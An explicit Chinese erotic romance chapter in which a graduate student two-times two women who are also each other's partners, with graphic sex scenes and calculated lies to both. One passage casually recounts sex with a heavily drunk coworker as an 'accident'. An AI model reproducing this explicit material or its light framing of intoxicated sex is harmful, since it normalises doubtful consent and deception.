我(下)[都市艳情]

 
  
「不会搞外遇?不会脚踏两条船?不会花钱找妓女?」她嘟着嘴说着。
『放心放心……当然不会……』我点点头,一个不留神,却想到了Lesbi。
回到饭店已是傍晚,肚子咕咕的叫着。
『要不要先吃一点再上去?』
「也好。」
我牵着她的手,抱着一大束花,走进了一楼的餐厅,路过之处,旁人无不侧
目。
两人分坐已定,各自点了餐,我还多要了一份红酒。她言笑晏晏,显得极为
开心。雯雯长得极美,笑起来十分让人心动,几杯红酒下肚之后,脸上泛起了红
晕,更添些许娇豔。
想起以前在酒店的情景,那时高不可攀又遥不可及的女人,现在竟坐在我面
前……世界上的事情,真是难以预料。
用餐完毕之后,拿着喝剩的红酒,两个人手牵着手回到房间。也许是开车累
了,她进门之后就躺在床上休息。
平常谦都在宿舍打电动,雯雯不方便过来;她住女生宿舍,我也进不去。学
校裡的平台琴,变成两人唯一有机会,能躺在一起的地方。一个多月下来,琴盖
已被震鬆掉,琴弦也沾到一些奇怪的液体,恐怕是需要大修了。最后一次弹那台
琴的时候,琴音听来倒有点像女子的呻吟。
幻想一下,哪天某大钢琴家来演奏的情景。天呐!佩特拉卡的情诗,莫名奇
妙的变成了淫诗。
好邪恶。
我把红酒和那一大束鲜花放好,躺在她的旁边。这是认识以来,第一次有机
会,两人一起躺在床上。我心脏噗通噗通的跳着。
『你累了啊?』我看她很疲惫的样子。
「有一点……」她揉着眼睛:「开了一天车子说……」
『那我帮妳放个水,洗个澎澎好不?』
「嗯嗯。」她点点头。
我拿了条毛巾到浴室,先用热水泡了一下,拿去让她擦个脸。回到浴室,用
肥皂清洗了一下浴缸,才放水下去。
忙了半天,头上冒着汗,热得半死。走出浴室时,差点与她撞个满怀,把我
吓了一大跳。不过真正让我吓到的,不是差点撞到人,而是她已一丝不挂。
以前虽有与她裸裎相见,但都是在那阴暗的演奏厅,只能靠着微弱的月光,
一窥她的身体。这是第一次,在灯光下看到她那完美的身躯,依旧让人摒息。
「瞧你吓成这样,是不是做什么亏心事啦?」她笑着帮我擦掉头上汗珠。
『帮个忙儿,都嘛被妳吓得说。』
「唷,那我穿衣服回去好了。」她嘟着嘴说着,假装生气,模样十分可爱。
『不必不必,脱都脱了,怎能让妳轻易穿上!』对她扮了个鬼脸,搂着腰走
进浴室,才转身回到卧房,准备更衣。
传来阵阵水声,雯雯打开了莲蓬头,在浴缸外面冲着澡,打算洗乾淨了才要
泡到浴缸去。
脱下衣服时,某个不争气的地方,早已立正站好,害我羞得要死。两手摀着
它,头低低的,很可怜的,像做贼一样的熘进浴室。
她回过头来,看到我的笨样,笑得弯下腰来,拿着莲蓬头,往我身上拼命冲
水……
「笨Sam,色得要死……」
『我也不是故意的说,它自己不乖的嘛!』我一脸无辜的看着她。
下?」
『什么时候还?』我笑着问她。
「待会儿还囉!」她慢慢蹲下身来,看着我那立正站好的地方,「好可爱唷
……怎么男生的会长这样子?」她伸手捏了它一下,一阵麻痒传来,立正得更直
了一些。
『男生都长这样子的哇,妳没看过呐?』
「呃……没看过真的嘛……」
她看得很专心的样子,拿起手来量一下,「哗,八度音!」吐了根舌头。
『呃,八度音我也不晓得算长算短说,没和人家比过。』被她拿手指比划了
半天,那儿愈来愈不听话,胀得鼓鼓的。
「羞羞脸……」她拿起沐浴乳,涂了上去,用整个手掌握着,轻轻的前后搓
洗着……
『啊……』阵阵酥滑袭来,竟是前所未有的感受。情慾被她熊熊挑起,几乎
超过了忍耐极限。
眼见再让她耗下去,到时万一太早就撑不住,怕会被她耻笑,连忙把她拉起
来,『光妳在洗,不大公平吧!』我笑吟吟地拿起沐浴乳来,沾在手上,眼睛往
她相对应的地方瞄过去。
「你想干什么?你想干什么?哇∼∼」
我把手往下一伸,她整个人酥软在我身上,「好坏唷……」她拍了我肩膀一
下,我却往那育孕着神秘情慾的小荳子摸过去,「噢……」只剩下喘息的声音。
雯雯整个人酥软在我身上,站也站不住,被我扶到浴缸裡去。
她脸红扑扑的,眼睛水汪汪的,美豔中透着娇羞,躺在水裡,弯弯的伸着手
臂出来,「抱抱……」她撒娇的说着。眼神像是会说话似的,泛着浓浓爱意。
我踏进水裡,跪在她修长的双腿之间,缓缓的俯身下去,扰起阵阵水流。长
髮飘过,忽隐忽现的停在酥胸之上;暖暖的热水,粉红了她雪白的身体。
那是我的女人,美丽动人,又有着水晶般透明情感的女人。看着她会让人整
颗心都热烘烘的,沉浸在幸福裡。
我用手支撑着重量,怕压在她身上,会让她感到疲累。她用两手勾着我的脖
子,两个人的额头贴在一起,我亲了她嫩红的嘴唇一下。
『喜欢妳……』四片热唇交织着:「我也喜欢你……」
热吻,由轻柔到狂烈,由嘴唇到身体。不知不觉中,两个人的身上,留下了
对方深情的印记。
情慾悄悄的在体内堆积着,她的嘴唇红嫩而潮湿,气息沉重而短促,有力的
手指,像钳子般的紧紧抓在我的身上。
她张开了眼睛,那神采,是柔、是媚、是娇羞,炽热中盪漾着意乱情迷。蓦
然觉得背后传来阵阵温柔的推力,她紧抱着我,想要释放那无尽的情慾。
我轻舞着爱慾的彩笔,放在她嫩滑的画布上,柔柔地写下爱情的诗句。
彩笔拂过画布上那情慾的裂缝时,她颤抖着身体,不时发出阵阵低吟。神秘
的裂缝,一缕一缕地涌出属于她的私密水彩,引诱着笔尖,一点一点地没入缝隙
裡。
「啊……」她发出了沉重的气音。私密的甬道,像是有着自己的生命,吞噬
着情慾的彩笔。
她的双腿,紧紧的勾着我的大腿,八度音的长度,进入她身体的最深处。那
种感觉,好像可以直通到她心底一般,一层层的裹住了我。
甬道裡紧密的皱折,温润而有弹性,在每次的摩擦之间,传来阵阵酥麻的感
觉……那种感觉,像是浓浓的情慾,却蕴含着深奥的情意,是那种与心爱的人结
合时,才能感受到的情意。
我喜欢与她做爱,享受那只属于两个人之间的私密情意。虽然对一个男人来
说,与美丽大方的女生,几乎都能做爱;但唯有与心爱的人做,才不会在高潮过
后,只留下无尽的空虚。
「Sam……」一阵高亢的呻吟,打乱了我的思绪,她很紧张似的轻拍着我的
背,无言的催促着我加快速度。
终于,她弓起身体,手指紧紧地抓着我的手臂,一阵抽搐之后,又恢复了平
静。
我看着她,火般红的脸颊,竟是如此让人着迷。两人轻轻抱着,久久不肯离
去……
直到那潮水般的悸动,渐渐消退之后,才离开浴缸,擦乾身体。雯雯走去行
李包旁边,想要拿出新的衣服换上。
『先别穿了……』我由后面抱着她,在她耳边小小声的说着。
「为什么?」她转过身来。
『我……只是想多看一下嘛!』
「色Sam,不会又想趁机偷吃豆腐吧!」脑袋被她轻轻的敲了一下。
『拜託嘛……』抓着她的手臂摇了半天,她才嘟着嘴走回床上。
我把枕头扶起来,靠在上面,由后面抱着她坐着,让自己的脖子,靠在她细
长的颈子上,闻着她身上的气息,感受着那份温暖。雯雯闭着眼睛,不知想些什
么。她长长的睫毛眨了一下,张开了眼睛看着我,眼神像是会看穿人似的。
「Sam……你交过几个女朋友?」她摸摸我的脸颊,小小声的问着。
突如其来的问题,让我头脑一片茫然。
「你说嘛……」她撒娇的摇着我的肩膀:「和几个人做过嘛?」
「你说嘛……你说嘛……你说嘛……」她厥着嘴儿。
『我……』我真的不晓得该怎么说,不断的想该怎么办才好。
「Sam……我只是想知道……」她轻轻说着:「Sam……我好忌妒她们……
Sam……告诉我嘛……Sam……不要怪我煞风景,我真的好爱你……Sam……」
我胡思乱想着,从来没料到,她竟然会问这么尖锐的问题。我只知道,不论
怎样,绝对不可以招出Lesbi,否则问题一定会变的很严重。
『我只和两个人做过……』说得有一点点心虚。
「哪两个?」她有点不置可否的问着。
『一个是小红,以前酒店工作时,妳也认识的。』
「她呀……有一点印象说……」
『另一个就是妳了。』
「真的?」
我点点头。
「那,你爱不爱小红?」
我摇摇头。
「那,为什么要和她做?」
『我也不是故意的要做的嘛,妳知道那时当少爷,多少都要陪客人喝个一两
杯的嘛!』
「然后呢?」
『妳也晓得万一小姐们喝醉,都嘛是要咱们当少爷的,顺路载回去的呀。』
「嗯?」
『有一次载她回去时,她喝太多爬不上楼梯,我就扶着她上楼,不小心就进
到她房间去囉。那一次我酒也喝了不少,所以……一个不小心就……』
「就和她上了床?」她的眼神变的得锐利。
『是哇,对不起嘛……』
「那后来呢?还有没有第二第三次呀?」她有点气鼓鼓的问着。
『后来……还是有过几次啦……』
「啍!」她脸臭臭的,好像有点喝醋。
『别生气嘛,那时候我也没有女友哇!然后又年纪小,难免会有些生理需求
嘛!』
「唷∼∼生理需求嘛……啧啧……」她拿起手指刮了刮我的脸颊。
我一脸诚恳老实的样子看着她。至于Lesbi的事,那当然打死也不能说,做梦
也不能说,被人下了迷药也不能说!
「那,你会全心全意待我吗?」她的眼神又变得柔和,像是在撒娇似的。
『我会的……』其实我并不怪她,所有的女人,都想独佔她心爱的男人。也
几乎所有的女人,都会问她心爱的男人,和几个女人做过。
她笑得好开心,像春天花海般灿烂。
不晓得她想到了什么,脸上浮起一阵红晕。
「Sam……」她勾着我的脖子,把头靠在我耳朵旁边。
『嗯?』
「你和我说唷,和谁爱爱比较舒服?」
『当然是妳囉!』
「为什么?」
『因为我爱妳。』
「就这么简单?」她一脸不大相信的样子。
『其实男人是种很简单的动物,一个洞洞鑽进去,动一动,射精就是个几秒
钟的快感罢了。唯一有差别的,就是喜不喜欢那个女生囉……心理上的感觉,远
超过生理上的差异。』
「嗯……」她若有所悟的样子:「Sam……和你在一起时,我只属于你一个
人……」她温柔的抚摸着我,很专注的看着我。那眼神,好深情:「Sam……我
很怕失去你……我很怕,自己第一个爱上的男人,会玩弄我的感情。」
『可怜的丫头,』我摸摸她的头髮:『我不会抛弃妳的……真的!』
「万一我变丑了呢?」
『妳不会变丑的啦!』
「但总有一天会老的嘛,到时候就丑囉!」她很哀怨的看着我。
『到时候我也老囉,也丑囉,大家就扯平囉!』我笑嘻嘻的哄着她。
「Sam……我会为你穿上美美的衣服,为你擦上香香的香水……我要你永远
爱我。」
『雯……』我亲了她一下。那一瞬间,彷彿拥有全世界。
渡假回去的路上,我一直胡思乱想着。或许是太久没见着Lesbi,也或许是被
雯雯所感动,有点想和Lesbi提分手,只专心在雯雯一个人身上。但又怕那样做会
太冒险,万一雯雯日后爱上别的女生或男生,我到时就一条鱼都没有了。换个角
度想想,若是和雯雯提拆伙,她可能一辈子都会记恨所有的男生。而且我很怕看
到女生哭,不论选择谁,必定会有一边受伤。这两个心爱的女生,并没有任何对
不起我的地方,要我提分手,好困难。
想了半天,反正大家研二都很忙,维持现状也许能拖过毕业,那就有机会一
直脚踏两条船下去。若是被抓包,两条船裡要保住一条不翻掉,似乎还办的到。
更何况,万一她们两人,也想维持一个男友一个女友的关係,说不定我正好
可以从中获利。换个角度想想,她们那么漂亮,很容易被其它人追走,到时我至
少还能留一个下来。
幸好是读理工科出身,用机率论推导了半天,觉得脚踏两条船,应该是期望
值最高的选择,就算王见王,也是以后的事儿。而且她们之间交情那么好,要是
肯两女共事一夫……天呐!真是美满而幸福的人生!想到此处,心裡一块大石落
了地,不禁有些得意。花东海岸看在眼中,又多美丽了几分。唉!谁要我命那么
好呢!有两个这么漂亮的女友在旁边,就算在学校会被男人追杀,我也愿意。
回到宿舍,推门进去,谦依旧在电脑桌前打着电动,天花板上的电风扇「嗒
嗒」响着,吹来阵阵热风。
『好久不见,近况可好哇?』
谦:「你回来啦!日子还不是差不多、差不多,倒是你家的女友常打电话来
咧!」
『她有没说什么?』
谦:「没耶,只有问你回来没有啦!」
『噢噢……酱子呐,有瞭有瞭。那你怎说的咧?』原本出门前忘了和Lesbi说
要失踪几天,有点失策。
谦:「说你回台北家裡了哇!」他转过身来,汗衫拉到了上腹,露出一截肚
皮。成天坐在电脑桌前,使得他肚子微凸,皮肤比学裡校大多数的女生还要白。
谦:「你不是和我说要回台北家裡吗?怎么你家人还要打电话来问你的下落
呀?」
『唉哟!原本我要回家的嘛,后来朋友找我,就去他家鬼溷打麻将了啦!』
幸亏反应机灵,万一说熘嘴可不大妙。
谦:「原来是这样子。」
我呼了口大气,应该是平安无事,没穿帮也没被抓包。
『咦,有和圆脸学姐出去玩耍子吗?』我笑嘻嘻的问着,一脸八卦。
谦:「她都不打电话来,哪有可能出去玩。」
『你不会打过去呀?笨得要死说。』
谦:「呃……电动我会打,电话就不会了啦。」他装着一脸悽苦的表情。
电话铃声响起,我三步併做两步的跑过去接。
『喂,请找哪一位?』
「Sam∼∼有没有想我呀∼∼」电话一端传来Lesbi撒娇的声音。
『呜呜∼∼想死妳了说∼∼』我一面假哭,一面把长长的电话线拉到床上,
躺着和她说话儿。
谦回过头来扮个鬼脸:「噢!我爱妳∼∼噢!噢!噢!」
「谁在旁边乱叫呀?」
『就是那个死老谦啦!』我用手比了个「凸」字。
「唉哟,竟然有灯塔在……」
『大老谦,你不是要去所裡写报告的咩?』我摀着电话对谦说着,挤眉弄眼
的想要他暂且迴避一下。
谦:「好啦好啦,不偷听你们聊限制级的啦……」他站起身,拉好衣服,把
白嫩嫩的肚皮藏到衣服裡去。
『呃……老谦要出去了啦。』我对电话说着。
谦:「我。去。洗。澡。囉∼∼」他远远的对着电话筒喊着,一面对我比了
个「凸」字。
「呵,老谦被你赶走了吼?真坏呐。」她在电话另一端笑的好开心,像是晴
朗无云的好天气。
谦抱着衣服脸盆离开房间,只剩下老旧风扇嘈杂的声音,在房间裡「喀喀」
作响。
「我跟你说,房东太太的那隻小胖狗,坐在我旁边唷……牠一定是爱上我了
耶,每天都跟我跑进跑去的耶……来……叫哥哥……」
『呵……妳得和牠说英文啦,不然牠怎么听的懂哇!』Lesbi就是有着莫名的
魔力,听到她的声音,就会让人心情开朗起来。
「偷偷告诉你唷,那隻小公狗很色耶,每天都找我挤一张床,看到牠就想到
你那张色脸……」
『哇咧,我倒变成狗啦!』
「嗯咩,你才知道呀……而且我后来都叫牠Sam耶,牠还会乖乖跑过来唷!」
天呐!我拿起笔记本抄一抄,以后家裡不能养狗……尤其是公的。
『可恶的丫头……』
「ㄌㄩㄝ∼∼」想必她又吐了根舌头,那个模样儿,一定又俏皮又可爱。
两个人拉拉杂杂的,鬼扯了一堆不营养的话题,我却在她的魔力之下,愈来
愈想念她。聊到后来实在想上厕所想疯了,才勉强挂掉电话。
好久没见着她,不知道她胖了?瘦了?有没有注意饮食?突然发现,我好想
她。
憋了好大的一泡尿,终于得到解放,真令人身心舒畅。上完厕所之后,在旁
边阳台抽了一根烟,才回到房间。赫然发现桌上多了瓶万金油,下面压了一张小
纸条:「Sam,把你脖子上的草莓园整理一下吧!谦。」
可恶!真是气死人了!
第二天一早,才到雯雯的实验室门外,就听到圆脸学姐与学长的声音。
学姐:「吓死人了嘛∼∼天呐∼∼杀了我吧……」
学长:「别说妳啦,我也被吓到呢!」
我推门进去,『什么事?什么事?』四面张望了一下。
学姐:「Sam……」她眨着眼睛,指着雯雯,我仔细的看了一下。
『天呐!别吓我……』我上下打量着雯雯,她竟然穿了一件橘色无肩的小可
爱,与一件橘色的窄短裙,修长的两腿交叉着,斜斜的坐在椅子上。长髮放了下
来,半掩着胸部,漂亮的乳沟若隐若现,性感极了。想像着她走在校园路上的样
子,铁定会有男生为了看她而跌到水沟裡去。
「Sam,好看吗?」雯雯很开心的看着我。
『……』我吓了一跳,说不出话来。
学姐:「妳要害那些臭男生做春梦呐?唉∼∼借我摸一把来∼∼」她站在雯
雯旁边,往她胸前虚晃着要捏下去。
学长:「哇!!限制级!」
两个女人拉拉扯扯了半天,圆脸学姐好像发现了宝物一样,突然跑到我前面
来。
学姐:「你说∼∼你说∼∼你这死没良心的,那两粒草莓哪儿来的哇∼∼」
她的笑容,充满着八卦。
真糟糕,忘了擦万金油,又忘了贴胶布,竟然带着两粒草莓到实验室,真是
失策。
学长:「哇哈哈,你长这个模样,还有谁会去种草莓呀……笑死人了。」学
长大人笑得花枝乱颤的。
雯:「我种的!」她似笑非笑的说着。
「哇哈哈∼∼」学姐笑得弯下腰来,差点没在地上打滚。学长大人也好不到
哪儿去,眼泪都掉了出来,「天呐,Ivory竟然会说笑话……」拉着学姐两人,笑
倒在地上……
我凉了半截,她原本不是打算要保密的?我看着她,笑容却僵在脸上。
件很奇怪的事一样。
学姐:「Sam这小子,和妳站在一起,像话吗?」她忙着把我推到雯雯旁边
去,然后和学长两人站的远远的,歪着脑袋,研究我和雯雯看起来搭不搭调。
学长:「看起来实在不大合耶……」
真奇怪,难道他站在她旁边又会很合吗,我实在看不出来。
雯:「真的嘛!」她拉着我的手:「Sam是我男朋友唷!」
学长和学姐睁大了眼睛看着我,又看看雯雯,一脸无法置信的样子。
雯雯转过头来对着我:「Sam,你不是最喜欢看女生穿短裙的?今天人家穿
得漂不漂亮?」
『很漂亮说……』我还在惊魂未定的状态。
学姐:「唉唷唉唷……我还是别当灯泡啦!」
学长点着头:「嗯嗯……我也别当灯塔了……」扶着学姐走出实验室。走廊
上不时传来「天呐∼∼」、「怎么可能∼∼」的呼喊声。
雯雯走到门边,轻轻的把门关上,转身回来。
「Sam,」她笑得好开心,「我们公开恋情好不好?」把手圈在我脖子上。
『好……好哇……』我勉强挤出一点笑容。
「你怎么了嘛?不开心呐?」
『被妳吓的哇。』惨了,真的代志大条,我也不晓得该怎么收摊才好。
「嘻……人家穿的好不好看?」
『真的很性感耶,妳要害学校男生走路撞电线杆呀?』
她「噗哧」一声笑了出来:「真的耶,早上真的有男生一直看我,然后骑脚
踏车撞到电线杆子说。」
『好笨的男生,谁要他乱看,遭天谴唷……』我刮了刮她脸颊。
「你如果喜欢的话,我就天天穿给你看。」
『嗯嗯……我要买保险囉∼∼』
「干嘛?」
『万一我被那些臭男生追杀怎么办哇?』
「追杀你干嘛?」
『我把杀掉,才有机会追妳呀!』
被她敲了一下。
「Sam……过两天我到你家去好不好?」
『我家?』
「对呀,去看看你爸妈呀!」
「好不好嘛……」她拉着我的手,一面摇一面撒娇的说着。
『好哇……当然好囉……』
她很开心的对我又抱又吻,我却开始担心Lesbi这边,不知该如何善后。偷偷
的拉开她的小可爱,往裡面瞧了一下:『哇!红色的!』
「老是穿黑色的怕你会看腻嘛……偷偷和你说,小裤裤也是红色的唷!」
噢!我的鼻血。
过完缠绵悱恻的一天,回到宿舍时心裡七上八下的。原本做着想要脚踏两条
船的清秋大梦,见着雯雯这个样子之后,势必得和Lesbi拆伙。一个不留神,美梦
铁定会变成一场恶梦。
谦依旧闷不吭声的打着电动,晾着白嫩嫩的肚皮,一句话都不说。
『咦,怎都没话儿?』
谦:「老Sam,你太不够朋友了吧!」
『啊?怎啦?』
谦:「你脖子上的草莓印,是小雯种的吧?」
『你怎么知道?』
谦:「小雯她学姐打电话来和我说的呀。」
『这……』学校的八卦,传的速度简直比光速还要快。
谦:「你原本不是要把她介绍给我的?怎自己先把上了?」
『唉……我也不是故意的哇!』
谦:「自己都有女友了,也不安份一点……」他一脸不大高兴的样子。
『老谦,对不起嘛!』
谦:「算了算了……」他挥了挥手。
谦:「那你接下来打算怎么办哇?」他按下电脑的暂停键,回过头来。
『小雯想要公开恋情,我怕Lesbi知道之后,会很糟糕。』
谦:「那就不要公开哇,还不简单!」他的头脑还真不是普通简单。
『我哪有办法呀,她不但想公开,还打算到我家做客咧,藏也藏不住。』
谦:「那你就要和Lesbi拆伙囉?」
『我……看来也只能这样子了哇!』
谦:「你实在很花耶,就是有你这种人,才害我没女朋友的。」他一脸哀怨
的看着我:「大哥,求求您,分我一个吧∼∼您用剩的也好∼∼求求您了∼∼」
『哇咧,别那么没志气好不好……我恐怕是凶多吉少囉。万一让Lesbi知道,
她又跑去找小雯说,那我不是正好完蛋。』
谦:「所以就要小雯别公开嘛。」
『哪有办法……』我两手一摊,连我都想不出办法,他这没经验的,只怕想
出来的花样更不牢靠。
谦:「就说怕閒言閒语呀,怕同学耻笑呀,怕被她学长追杀呀。真的要找理
由,哪怕找不着!」
『呃……』想一想,似乎还真有点道理。
谦:「反正你就赖帐说你不喜欢被人看八卦嘛。」
『嗯嗯……也对也对。』反正去试一下,这理由虽然牵强,但试一下也好。
就算失败,毕竟也试过了。突然想到她以前说过不想公开恋情,这回换我不想公
开,正好大家扯平。
愉快的假期,很快就要结束,暑假已接近了尾声。接着就要准备缴交毕业论
文的写作大纲,以及研究计划。
与雯雯进行的专桉,也接近完工,双方教授对于本次密切的合作,感到非常
满意。话说回来,都合作到床上去了,怎能说不密切?
在我忐忑不安的心情中,Lesbi即将回国。眼见雯雯又想公开恋情,不晓得给
Lesbi知道这件事会怎样?心裡十分担忧,又想不出办法,只好照着谦的建议,硬
着头皮去找雯雯,看能不能暂缓公开恋情一事。
我走到她实验室,推门进去,裡面只有她一个人。她回头见到我,脸上绽放
着甜美的笑容。
「Sam……你怎来啦?」她侧身坐着,伸着两手要我抱她。
『想妳呀。』我走上前去,抱了她一下。
「我也想你。」
我拉了张椅子,在她旁边坐下:『对了,我和妳说,我想……先别公开咱们
在交往的事情好不?』
「噢?为什么呢?」
『妳呐,太漂亮了,万一传了出去,可能我们所裡会大闹八卦,这样子我难
做人说。』
「你怕人家说閒话吗?」
我点点头:『是呀,都快毕业了,不想成天被八卦烦恼。而且到时候与陈老
师或张老师见面时,会很尴尬说。』
「啊!差点忘了,你们陈老师八卦的要命。」
『对呀对呀。』我点点头:『被他八卦到还得了,我还想活着毕业呐!』
「嗯,好嘛,都依你嘛。那么,哪一天去你家呢?」
『OK,就选一天大家都有空的时候,到我家亮个相囉。』我鬆了一口气,
很高兴的亲了她脸颊一下,热热的、软软的,好舒服。
与她商议已定,公开恋情的事情,算是暂时缓了下来。打算等Lesbi一回国,
马上找时间说一下,我和雯雯已经变成一对,希望她能够原谅。但又暗自希望,
Lesbi最好捨不得雯雯,也捨不得我。她若同意的话,说不定可找她合作,那真是
个幸福而美丽的情景呀!
想要去机场接Lesbi,但回国的航班是清晨两点,而且她爸会找司机载她回学
校,所以叫我不必过去。我直到当天晚上才见到她。踏进她宿舍,又闻到熟悉的
烟味。两个月没见到人,消瘦了一点,头髮长了一些,更添几许妩媚。
「有没有想念我哇?」她跑上来抱着我,眼神充满着久别之后的喜悦。
『我真的很想念妳呢!』
「你好坏,想死人家了说。」突然觉得脖子湿湿的,她竟然哭了。
『笨丫头,哭什么哇?』我用手背帮她擦了擦眼泪。
她嘟着嘴:「人家想你嘛……两个月好久唷……」又哭又笑的,像极了小孩
子:「和你说唷,人家一出国就生病病了呢……」
『呃?怎没听妳在说?』
「人家生了种叫相思病的怪病唷,无药可医耶,好可怜好可怜唷!」
『唉∼∼想妳家女友想出病来了吼,真可怜呐……』我往她脸上刮了刮。
「哇呜∼∼才不啦!分明都是被你害的说……欺负人家啦……」脑袋被她拍
了一下。
『好嘛好嘛,不闹妳……』我笑嘻嘻的说着。
被她撒娇真是人生一大乐事。
「先吃个颗糖糖来。」她拿起桌上一包糖果,牵着我坐到床上去。
我拿起一颗糖,剥下它精美的包装纸,享受着那甜丝丝的美味。
「对啦,我有带礼物给你耶……」她蹦蹦跳跳的跑去打开包包,拿了一个漂
亮的小盒子出来。
拆开一看,裡面装了一隻古董造型打火机,其中一面刻着小小的两行字:
「给最爱」
「瑶」
「铿」的一声,我打开了盖子,点着一根烟。这打火机,显然要值不少钱,
有着湛蓝色的漆底,与精细的凋工,应该是手工製品。
『谢谢……真的好喜欢它唷!』我抱着瑶瑶,亲了一下。她毕竟是爱我的,
才会想到要帮我带那么贵重的礼物回国。
两人依偎着躺在床上,听她兴高采烈的说着游学的事情。久别后的重逢,让
我再度享受到与她相处的快乐时光。那遥远却又温暖而熟悉的快乐时光,一幕幕
在脑海中浮现。想到第一次见到她时的惊豔,想到和她烤肉钓鱼偷看人做爱;想
到汽车旅馆的那一夜,想到我是那么卑劣的拐她上床;想到她说不要再相见的情
景,想到那段为她茶思饭想的日子。美丽的回忆,点点滴滴。
我为她哭过,笑过,甜过,苦过,也酸过。分离了两个月,让我误以为忘了
她,忘了对她那份爱;甚至忘了,她也爱我。
时间的河,缓缓流着。我在上游,目送她离开;却在下游,迎接她回来。
对她许下承诺,好沉重;对另一个女人,也许下承诺。两份情感,纠结在一
起,剪不断,理还乱。也许是自作孽吧,我暗想着。
「Sam……你在想什么?告诉我好不?」
『我在想妳。』
「呵,我在你旁边耶。」她躺在我胸前,笑容依旧豔丽。
『嗯……想以前的妳,想现在的我。』
「有什么不一样吗?」
人都一样,心却变了。
『妳说说看,我和妳女朋友,妳是怎么想的?』
「其实你们俩是不同的……我无法割捨任何一个人……我虽然爱她,但也爱
你。」
『来罐啤酒吧!』我走去冰箱旁边,拿了两瓶出来。
「我和她认识很久了呢!你要不要看一下照片?」
『嗯……』
她拿出相本,在床上摊开,胡乱的翻了一下。我看到雯雯和瑶瑶,在一台白
色宝时捷前合照。
『宝时捷?天呐!』
「对呀,我前一台车。怎啦?」
<23>
『妳家那么有钱?』差点说熘嘴。
瑶瑶竟是雯雯在酒店时,开宝时捷接她下班的那位神祕「男子」。当时她头
髮更短,打扮更男性化。
「不好意思咩……」她亲了我脸颊一下。
没想到她们两人交往那么久,感情基础一定十分稳固。我若想要溷水摸鱼,
万一真的王见王的话,到时死的人一定是我。
『不要紧啦……谁要我是穷苦人家呢∼∼唉∼∼』我扮个鬼脸,以掩饰心中
不安。
那么多张亲暱的相片,让人愈看愈心乱,我把相本阖了起来。
「怎啦?乖……不喝醋唷……乖……」她摸摸我的背。
『呜呜呜∼∼我发誓我没喝醋∼∼』
「Sam……不论对她,还是对你,那是不同的感情世界。何况……和她那么
多年了,总不会说忘就忘……你能体谅吗?」她柔柔的说着。
『嗯……』我点点头。是呀,不同的感情世界。
「在国外这两个月,我想了很多。」她换个姿势,躺在我大腿上:「我一直
觉得她不是真的只爱女人,只是在逃避那些男人罢了。逃避那些只看上她漂亮,
庸俗不堪却又自以为了不起的人。我相信,总有一天,她会遇到愿意真心疼她,
爱她的男人……Sam……我也希望能找个心爱的人嫁……」
我亲了她一下,心情错综複杂。
「你真的对我好好,我一直庆幸我女朋友不认识你,否则万一她也看上你,
我就不晓得该怎么办了。」她愣愣的看着我,轻轻的抚摸着我的脸颊。
恼人的电话声传来,瑶瑶一熘烟的跑过去。
「雯∼∼想妳想妳想妳∼∼」
「怎么啦?不开心呐?谁欺负妳啦?」
「嗯?」她默默的听着。
「嗯……」
「下午不是还好好的吗?」
「难怪……觉得妳怪怪的……还以为太久没见造成的说……」
「是谁?谁家的美女?」
「妳说嘛……我保証不生气……」她有点着急的样子。
「是妳学长?不会吧?妳们做过了?」
「妳没有对不起我……不要紧的……」她点起一根烟。
「不必过来了,没关係。」
「今天先别提了,心情有点乱。」
「让我想一下再回答妳好不好?」
「我爱妳……嗯……掰……」她沉重的放下电话,愣愣的回过头来,眼神呆
滞而空洞。手上点着的烟,掉到了地上。
『妳家女友怎啦?』我担心的问着,隐约觉得大事不妙。
「没……没事……」她泪水滚滚而下,跑上前来,抱着我不放。
『怎啦?』我抱着她,心疼地摸着她的头髮。
「她不要我了……」哇的一声哭了出来。
『乖……不哭,不哭……』我慌乱地找了张面纸,帮她擦着眼泪。
「怎会这样子?怎会这样子?」她喃喃的唸着。
『发生什么事啦?』
「她爱上她学长了……」
听到这件事情,让我大吃一惊,头脑嗡嗡作响。没料到雯雯这丫头,竟然打
电话来找瑶瑶提分手,出乎我的意料之外。
『怎会这样子?』
「我不该出国的……我不该出国的……」
『唉……』看到她这么难过,我的心都碎了。
「Sam……怎么办?怎么办?她竟然爱上男人了……」
『先别哭,明天再去找她问问吧!』
「我只剩你一个人了,不要离开我……Sam……」
『我……』我真希望我不会。
瑶瑶像隻受了伤的小猫,蹲在床角啜泣:「她不要我了……她不要我了……
为什么……」
我知道为什么,却说不出口,只能任凭她缩在角落哭泣。见到心爱的人伤心
难过,却帮不上忙。心,像细线抽过似的,传来阵阵抽搐;线,抽过心头,却又
纠结在一起。
我好恨,一时贪心,让她哭泣。我恨我自己,我恨……做爱,为了那几秒钟
射精时的快感,却换来永止尽的伤心。我情愿只欣赏她们漂亮的身影,我好恨!
泪水不自禁的流下。
『不要想她了好不好?瑶瑶……不要想了,我会永远照顾妳的……』
「真的?」她哀伤的看着我,彷彿是她最后的一根稻草。
『真的,我发誓。』优柔寡断的心,又背叛了雯雯。
千错万错,都是我的错。
「我爱你,Sam……」她抱着我,紧紧的抱着……
『我也爱妳……』吻上了她,不知是向她忏悔,还是表达无尽的歉意。
「Sam……今天起,我只是你一个人的,你也只是我一个人的。好不好?」
『嗯,我答应妳……』缓缓的点了点头。但,未来的事,却不知如何是好。
「谢谢……」她笑了。像哭泣中的小孩,拿到爸妈手中的糖果一般,笑的开
心而灿烂。
『不哭了唷……』我皱了一下鼻子,刮一刮她的脸颊:『羞羞脸……』
「嗯!我会乖!」她像极了个小孩子,「乖小孩有什么奖励呢?」她眨着眼
睛。
『嗯!爱的亲亲!』我吻了她可爱的小嘴唇,却久久无法分离。
不自禁的手,又伸进了她的衣服裡,恣意的抚摸那久违的娇躯。热吻的唇,
再度袭去胸前。
方才的悲痛,逐渐交织成情慾。
「我爱你,Sam……好爱好爱你……」她的吻,像雨滴似的洒在我身上。洒
在脸上、耳朵上、脖子上;洒在唇上、胸前,一直往下。
爱情的巨网,不断的收缩,把我和她,紧紧的缠绕在一起。身上的衣物,变
得多馀而累赘。
我的衣服,她的衣服,一件件的躺在地上。两人的身体,不捨片刻分离。
「啊……Sam……」她颤抖着,让我进入她身体……小小声的呼唤,又再度
传到心底。
那是久违的声音,那是我不忍割捨的一份情意……
『我爱你……』我忘情的喊着。
门被推开,传来轰然巨响。
「可是我也爱你!」回首望去,只见雯雯跪坐在地。
瑶瑶看看她,又看看我。眼睛,由热情,变成惊惧,变成悲哀,变得冷酷而
绝情。她跳下床,跑去雯雯的身边。
瑶:「对不起,都我的错,对不起。」
